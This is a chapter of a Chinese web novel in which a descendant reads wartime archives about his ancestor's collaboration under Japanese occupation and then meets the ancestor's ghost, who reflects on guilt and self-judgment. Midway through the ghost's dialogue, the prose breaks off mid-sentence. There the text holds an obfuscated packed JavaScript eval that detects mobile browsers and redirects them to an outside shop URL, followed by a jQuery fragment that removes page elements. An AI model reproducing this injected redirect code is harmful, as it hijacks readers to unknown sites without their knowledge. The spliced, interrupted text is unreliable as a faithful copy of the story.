沈未明在书房的一个旧柜子里，找到了一摞旧档案。
是民国二十几年的。
也就是，抗战时期的。
档案很杂。
有县里的公文。
有商会的通知。
还有，一些，沈佩弦亲笔写的东西。
沈未明坐在地上，一份一份地翻着。
翻着翻着，他的眉头，就皱了起来。
这些档案里，有很多，都是跟日本人有关的。
有沈佩弦，跟日本人合作的记录。
有他，参加日伪政府会议的记录。
还有，他，给日本人捐钱捐物的记录。
沈未明的心里，咯噔一下。
沈佩弦，当过汉奸？
这怎么可能？
他不是革命党吗？
他不是，一直都很爱国吗？
怎么会，跟日本人合作？
沈未明不敢相信。
可是，这些档案，白纸黑字的，摆在那里。
由不得他不信。
他继续往下翻。
越翻，心越沉。
民国二十六年，七月。
卢沟桥事变。
全面抗战，爆发了。
消息传到观澜堂的时候，沈佩弦正在书房里，看书。
他听到这个消息，手里的书，"啪"的一声，掉在了地上。
他愣了很久。
然后，叹了口气。
"终于，还是来了。"
他的声音，很轻。
带着，说不出的疲惫。
他经历过辛亥革命。
经历过二次革命。
经历过，军阀混战。
他以为，天下，已经太平了。
没想到，又打仗了。
而且，是跟日本人打。
他知道，日本人，很厉害。
这一仗，不好打。
不知道，又要死多少人。
不知道，又有多少人家破人亡。
接下来的几个月，局势，越来越紧张。
北边的战事，节节败退。
上海，也岌岌可危。
观澜堂这里，虽然还没打到。
但是，人心，已经慌了。
很多有钱人，都开始往内地跑。
往重庆跑。
往成都跑。
也有人，劝沈佩弦，赶紧走。
说，日本人快来了。
再不走，就来不及了。
沈佩弦摇了摇头。
他不走。
他说，沈家的根，在这里。
观澜堂，在这里。
他不能走。
他走了，这个家，就散了。
而且，他爹的坟，在这里。
他娘的坟，也在这里。
他不能，丢下他们，自己跑了。
他要守着。
守着这座宅子。
守着，沈家的根。
民国二十六年，十一月。
上海沦陷。
十二月，南京沦陷。
大屠杀的消息，传过来的时候。
整个观澜堂，都笼罩在，一片恐惧之中。
大家都在说，日本人太残忍了。
杀人不眨眼。
屠城啊。
几十万老百姓，说杀就杀了。
女人们，都吓得不敢出门。
男人们，也都人心惶惶的。
不知道，日本人什么时候，会打到这里来。
也不知道，来了之后，会怎么样。
沈佩弦那段时间，经常一个人，坐在书房里。
坐很久。
什么都不做。
就那么坐着。
他知道，南京都没守住。
他们这里，肯定也守不住。
日本人，迟早会来的。
他只是没想到，会来得这么快。
民国二十七年，春天。
日本人，来了。
几乎是，兵不血刃。
国民党的军队，早就跑了。
地方上的乡绅，组织了个维持会。
举着白旗，把日本人，迎进了城。
沈佩弦，也是维持会的成员之一。
不是他想当。
是大家，推举他的。
说他，是沈家的大少爷。
见过世面。
有学问。
又有钱。
日本人来了，肯定会给他面子。
让他出面，跟日本人交涉。
大家，都能好过一点。
沈佩弦一开始，是拒绝的。
他说，他不干。
跟日本人合作，那不成汉奸了吗？
他不能干这种事。
可是，大家都劝他。
说，沈先生，这都什么时候了。
命都快没了，还管什么汉奸不汉奸的？
跟日本人合作，至少，能保住大家的命。
能保住，这一方百姓。
这是积德行善的事啊。
沈佩弦犹豫了。
他想，他们说得对。
如果他出面，跟日本人合作。
至少，能保护一下，当地的老百姓。
能让他们，少受点苦。
这也算是，一件好事吧？
而且，如果他不干。
日本人，肯定会找别人干。
万一，找了个坏人。
那老百姓，就更遭殃了。
思来想去，他最后，还是答应了。
他想，他是为了老百姓。
不是为了他自己。
他不是汉奸。
他只是，曲线救国。
可是，事情，没有他想的那么简单。
维持会，不是那么好干的。
日本人，今天要这个。
明天，要那个。
要粮食，要布匹，要女人，要壮丁。
什么都要。
沈佩弦夹在中间，很难做。
日本人那边，他不敢得罪。
老百姓这边，他也不忍心。
他只能，尽量周旋。
尽量，少给日本人一点。
尽量，多保护老百姓一点。
可是，日本人也不是傻子。
他们看得出来，沈佩弦在敷衍他们。
于是，就给他施压。
威胁他。
说，如果他再这样。
就对他不客气。
就对，当地的老百姓，不客气。
沈佩弦没办法。
只能，照他们说的做。
他心里，很痛苦。
他觉得，自己正在，一点点地，变成一个汉奸。
变成一个，他以前最看不起的那种人。
可是，他有什么办法呢？
他没得选。
沈未明读到这里，心里，很不是滋味。
他想起了，卡夫卡的小说。
《审判》。
约瑟夫·K，在三十岁生日的那天早上，莫名其妙地，就被捕了。
他不知道，自己犯了什么罪。
也没有人，告诉他。
他只是，被审判了。
莫名其妙地。
稀里糊涂地。
沈佩弦，是不是也是这样？
他觉得，自己没做错什么。
他是为了保护老百姓。
可是，在外人看来。
他就是汉奸。
就是，卖国贼。
就是，罪人。
他甚至，都没有办法为自己辩护。
因为，在那个年代。
只要你跟日本人合作了。
不管你是出于什么目的。
你就是汉奸。
就这么简单。
没有道理可讲。
沈未明继续往下读。
后面的档案，越来越让人压抑。
沈佩弦的日子，越来越不好过。
日本人那边，对他越来越不满。
觉得他，办事不力。
总是，拖拖拉拉的。
老百姓这边，也对他有意见。
背地里，都骂他汉奸。
说他，为了讨好日本人，出卖乡亲。
说他，赚昧心钱。
说他，不得好死。
这些话，传到沈佩弦耳朵里。
他心里，像刀割一样疼。
他觉得，自己很委屈。
他做的这一切，都是为了谁？
还不是为了，保护他们？
可是，他们不领情。
反而，还骂他。
他觉得，自己像个夹心饼干。
两头受气。
两头，都不讨好。
他图什么呢？
有一次，沈佩弦去参加日本人的一个会议。
回来之后，他就病了。
是心病。
那天，日本人让他们，征一批慰安妇。
说是，给前线的士兵，享用。
沈佩弦当时就愣住了。
慰安妇？
这……这怎么可以？
他跟日本人说，不行。
这个，他办不到。
日本人的军官，当时就火了。
拍着桌子，跟他说：
"沈桑，你不要不识抬举。"
"让你办，你就办。"
"不然，后果自负。"
沈佩弦站在那里，浑身都在抖。
他知道，日本人说得出，做得到。
如果他不办。
日本人，肯定会自己来抢。
到时候，只会更糟。
会死更多的人。
会有更多的女人，被糟蹋。
他咬了咬牙。
最后，还是答应了。
他回去之后，就病了。
躺在床上，不吃不喝。
就那么躺着。
睁着眼睛，看着天花板。
他觉得，自己很脏。
非常脏。
他觉得，自己跟那些，逼良为娼的坏人，没什么两样。
甚至，比他们还坏。
因为，他是打着，保护大家的旗号。
做着，最肮脏的事。
他觉得，自己就是个伪君子。
就是个，道貌岸然的混蛋。
林微来看他。
坐在床边，看着他。
什么都没说。
只是，默默地，给他擦脸。
给他喂水。
沈佩弦看着她，眼泪就掉了下来。
他说："微儿，我是不是，很坏？"
林微看着他，摇了摇头。
她说："不。"
"你不坏。"
"你只是，没办法。"
沈佩弦哭着说："可是，他们都骂我汉奸。"
"他们都恨我。"
林微说："我知道。"
"我知道，你是为了大家好。"
"你不是汉奸。"
沈佩弦看着她，问："真的吗？"
"你真的，这么想？"
林微点了点头。
"真的。"她说。
沈佩弦看着她，看了很久。
然后，他伸出手，抱住了她。
像个，受了委屈的孩子。
哭得很伤心。
林微抱着他，轻轻拍着他的背。
也不说什么。
就那么，抱着他。
那是他们结婚这么多年来。
第一次，这么亲近。
也是第一次，沈佩弦觉得，他们的心，离得这么近。
沈未明读到这里，心里，一阵发酸。
他想起了，卡夫卡的《审判》里的一句话。
"你不必是有罪的，你就已经是有罪的了。"
沈佩弦，就是这样。
他也许，真的没有做错什么。
他也许，真的是出于好心。
可是，在那个时代。
在那个环境下。
他就是有罪的。
他就是汉奸。
不管，他愿不愿意。
不管，他是出于什么目的。
他就是。
这就是，他的命运。
他逃不掉的。
沈未明继续往下翻。
翻到最后，他看到了一份，判决书。
不对，不是判决书。
是一份，布告。
是抗战胜利之后，国民政府发布的。
惩办汉奸的布告。
上面，列了很多人的名字。
都是，当年跟日本人合作过的。
沈佩弦的名字，也在上面。
罪名是：通敌叛国。
判处，有期徒刑十年。
沈未明的心里，咯噔一下。
沈佩弦，真的被当成汉奸，抓起来了？
他赶紧，继续往下找。
想知道，后来怎么样了。
可是，找了半天，都没找到。
后面的档案，都是空白的。
没有了。
沈未明坐在地上，愣了很久。
他想知道，沈佩弦后来怎么样了。
他真的，坐牢了吗？
坐了十年？
还是说，有别的什么结果？
他不知道。
这些档案，到这里，就断了。
后面的，不知道去哪里了。
也许，是被人销毁了。
也许，是被人拿走了。
也许，是沈佩弦自己，不想让后人看到。
所以，藏起来了。
沈未明坐在地上，想了很久。
他想起了，卡夫卡的《审判》的结尾。
约瑟夫·K，最后，被两个人带走了。
带到了，郊外的一个采石场。
然后，被杀死了。
他到死，都不知道，自己犯了什么罪。
也不知道，为什么要杀他。
就这么，稀里糊涂地，死了。
沈佩弦，会不会也是这样？
稀里糊涂地，就被定了罪。
稀里糊涂地，就坐了牢。
或者，稀里糊涂地，就死了。
他到最后，会不会也觉得，自己是有罪的？
哪怕，他根本就不知道，自己犯了什么罪。
就在这个时候。
沈未明突然听到，身后有声音。
很轻，很轻。
像是，有人在走路。
沈未明的后背，一下子就凉了。
他慢慢转过头。
身后，黑漆漆的。
什么都没有。
只有，那些旧书架。
还有，那些旧书。
是他听错了？
还是说，有老鼠？
沈未明定了定神。
他想，肯定是老鼠。
这藏书楼里，这么多旧书。
有老鼠，很正常。
他转过身，想继续找。
可是，他刚一转身。
就看到，面前站着一个人。
一个，穿着长衫的男人。
背对着他。
站在书架前面。
好像，在找什么东西。
沈未明的呼吸，一下子就停住了。
这个人，是谁？
他什么时候进来的？
他怎么，一点声音都没有？
沈未明张了张嘴。
想问，你是谁。
可是，他的喉咙，像被什么东西堵住了似的。
发不出声音。
他只能，眼睁睁地，看着那个人。
那个人，站在书架前面。
找了一会儿。
然后，抽出了一本书。
他转过身。
沈未明看到了他的脸。
那是一张，很年轻的脸。
很英俊。
穿着，月白的长衫。
手里，拿着一把折扇。
像一个，翩翩佳公子。
沈未明的脑子，"嗡"的一声。
沈佩弦？
是他吗？
那个人，看着沈未明。
笑了笑。
然后，他开口了。
他说："你来了。"
声音很轻。
很平静。
沈未明看着他，浑身都在抖。
他想跑。
可是，他的腿，像灌了铅似的。
动不了。
那个人，看着他，又笑了笑。
他说："你别怕。"
"我不会伤害你。"
"我只是，想找个人，说说话。"
他指了指，对面的椅子。
"坐吧。"他说。
沈未明看着他。
不知道为什么，他真的，就坐了下来。
像被施了魔法似的。
那个人，也坐了下来。
坐在他对面。
两个人，就这么坐着。
互相看着。
看了很久。
最后，还是那个人，先开口的。
他说："你是，未明吧？"
沈未明点了点头。
他的声音，有点发颤。
"你……你是沈佩弦？"
那个人，笑了笑。
点了点头。
"是。"他说。
沈未明看着他，心里，又害怕，又好奇。
他真的，见到鬼了？
还是说，他在做梦？
他掐了自己一下。
很疼。
不是做梦。
那就是，真的见鬼了？
沈佩弦看着他，好像看穿了他的心思。
他笑了笑，说："你别怕。"
"我不是鬼。"
"或者说，不只是鬼。"
沈未明没听懂。
他看着沈佩弦，等着他解释。
沈佩弦说："这座宅子，你也知道，有点不一样。"
"我们这些人，死了之后，都没有走。"
"都留在这里了。"
"守着这座宅子。"
"也守着，我们的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17735661|209047||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
秘密。"
沈未明看着他，问："为什么？"
"为什么不走？"
沈佩弦笑了笑，说："走不了。"
"我们的罪，还没有赎完。"
"我们的债，还没有还清。"
"所以，我们走不了。"
"只能，在这里待着。"
"一代一代地，待着。"
沈未明看着他，问："罪？什么罪？"
沈佩弦看着他，说："你觉得呢？"
沈未明想了想，说："因为……因为你跟日本人合作过？"
"因为，你是汉奸？"
沈佩弦笑了。
笑得有点凄凉。
他说："汉奸？"
"也许吧。"
"可是，我觉得，我的罪，不是这个。"
"那是什么？"沈未明问。
沈佩弦看着他，说："我的罪，是懦弱。"
"是逃避。"
"是，不敢面对真实的自己。"
他顿了顿，说："我这辈子，一直在逃。"
"革命的时候，我逃了。"
"丢下了林觉，自己跑了。"
"后来，面对林微的时候，我也逃了。"
"不敢告诉她，真相。"
"不敢，面对她的失望。"
"再后来，日本人来了。"
"我以为，我是为了保护大家。"
"其实，我还是在逃。"
"我不敢，反抗日本人。"
"我不敢，站出来。"
"我只能，委曲求全。"
"只能，跟他们合作。"
"然后，用'我是为了大家好'这句话，来安慰自己。"
"来，欺骗自己。"
他看着沈未明，说："你说，这是不是罪？"
沈未明看着他，不知道该说什么。
他觉得，沈佩弦说得对。
可是，他又觉得，他也没做错什么。
在那个年代，那个环境下。
换了是谁，可能都会那么做。
谁不想活下去呢？
谁不怕死呢？
可是，话是这么说。
真的轮到自己头上。
你就会发现，有些事情，比死还难受。
比如，良心的谴责。
比如，自我的审判。
沈佩弦看着他，笑了笑。
他说："我知道，你在想什么。"
"你在想，我没做错什么。"
"我只是，没办法。"
"对不对？"
沈未明点了点头。
沈佩弦说："以前，我也这么想。"
"我觉得，我是无辜的。"
"我觉得，我都是被逼的。"
"可是，后来我才明白。"
"没有什么，被逼的。"
"所有的选择，都是你自己选的。"
"你选了，就要承担后果。"
"就要，付出代价。"
"这就是，审判。"
"不是别人审判你。"
"是你自己，审判你自己。"
沈未明看着他，心里，一阵发凉。
他想起了，卡夫卡的那句话。
"你不必是有罪的，你就已经是有罪的了。"
不对，不是的。
应该是，只要你活着，你就已经是有罪的了。
因为，你总会有选择。
你总会有，做错选择的时候。
然后，你就会，一辈子，都活在自我审判里。
直到你死。
甚至，死了之后，都还在审判自己。
就像，沈佩弦这样。
沈佩弦看着他，说："未明，你知道吗？"
"沈家的人，都逃不掉的。"
"我们的罪，会一代一代地，传下去。"
"我们的债，也会一代一代地，还下去。"
"这就是，七世而斩的意思。"
沈未明的心跳，漏了一拍。
"七世而斩？"他说，"到底是什么意思？"
沈佩弦看着他，笑了笑。
他说："你以后，会知道的。"
"现在，还不是时候。"
他站起身，说："好了，我该走了。"
"今天，跟你聊得很开心。"
"很久没人，跟我说这些了。"
他转过身，准备走。
"等等。"沈未明叫住他。
沈佩弦停下脚步，回过头。
"怎么了？"他问。
沈未明看着他，问："林微呢？"
"她……她也在这里吗？"
沈佩弦的脸上，露出了一个，温柔的笑容。
他点了点头。
"在。"他说。
"她一直在。"
"她在等我。"
"等我，赎完罪。"
"然后，我们就可以，永远在一起了。"
他笑了笑，说："好了，我真的该走了。"
"她该等急了。"
说完，他就转过身，往前走。
走着走着，他的身体，就变得越来越淡。
越来越透明。
最后，就消失了。
像一阵烟似的。
散了。
沈未明坐在那里，愣了很久。
他的脑子里，乱糟糟的。
刚才，是真的吗？
他真的，见到沈佩弦了？
还是说，他出现幻觉了？
他不知道。
他只知道，刚才的一切，都太真实了。
真实得，不像幻觉。
沈佩弦的样子。
沈佩弦的声音。
还有，他说的那些话。
都那么真实。
都那么，有分量。
沈未明坐在那里，想了很久。
他想起了，沈佩弦说的话。
"审判，不是别人审判你。"
"是你自己，审判你自己。"
他觉得，这句话，说得真好。
也真可怕。
如果，每个人，都要接受自我的审判。
那有几个人，能是无罪的呢？
每个人，都有自己的秘密。
每个人，都有自己的罪。
每个人，都要在心里，审判自己。
一辈子。
直到死。
甚至，死了之后。
都还要，继续审判。
这是不是，就是人类的宿命？
沈未明站起身，拍了拍身上的灰。
他的腿，还有点软。
他走到窗边，推开窗户。
外面的风，吹了进来。
带着，雨水的味道。
外面，下雨了。
秋雨。
淅淅沥沥的。
下得不大，但是很密。
打在树叶上，发出沙沙的声音。
像有人，在哭。
又像，有人在说话。
沈未明站在窗前，看着外面的雨。
看了很久。
他好像，听到了很多人的声音。
有沈佩弦的。
有林微的。
有沈观澜的。
有苏婉的。
还有很多很多，他不知道名字的人的声音。
他们都在说。
说着，他们的罪。
说着，他们的审判。
说着，他们的，遗憾。
沈未明站在那里，听了很久。
直到，雨停了。
声音，也消失了。
他才转过身，往藏书楼门口走去。
走到门口，他又回头看了一眼。
黑漆漆的藏书楼里，好像有很多影子。
模模糊糊的。
来来往往的。
像一个，小小的世界。
沈未明打了个寒颤。
他赶紧，推开门，走了出去。
外面的空气，很清新。
带着，雨后的泥土味。
还有，桂花的香味。
沈未明深吸了一口气。
他觉得，自己好像，做了一场梦。
一场，很长很长的梦。
梦里，有很多人。
很多故事。
很多，罪与罚。
现在，梦醒了。
可是，梦里的那些感觉，还在。
沉甸甸的。
压在他的心上。
让他，喘不过气来。
沈未明站在院子里，站了很久。
直到，身上都凉透了。
他才转过身，往自己的房间走去。
他的影子，被月光拉得很长很长。
在他的影子旁边，好像还有别的影子。
淡淡的，模模糊糊的。
跟着他，一起往前走。
像一群，无声的，陪审团。
在审判着他。
也在，等待着。
等待着，他的审判。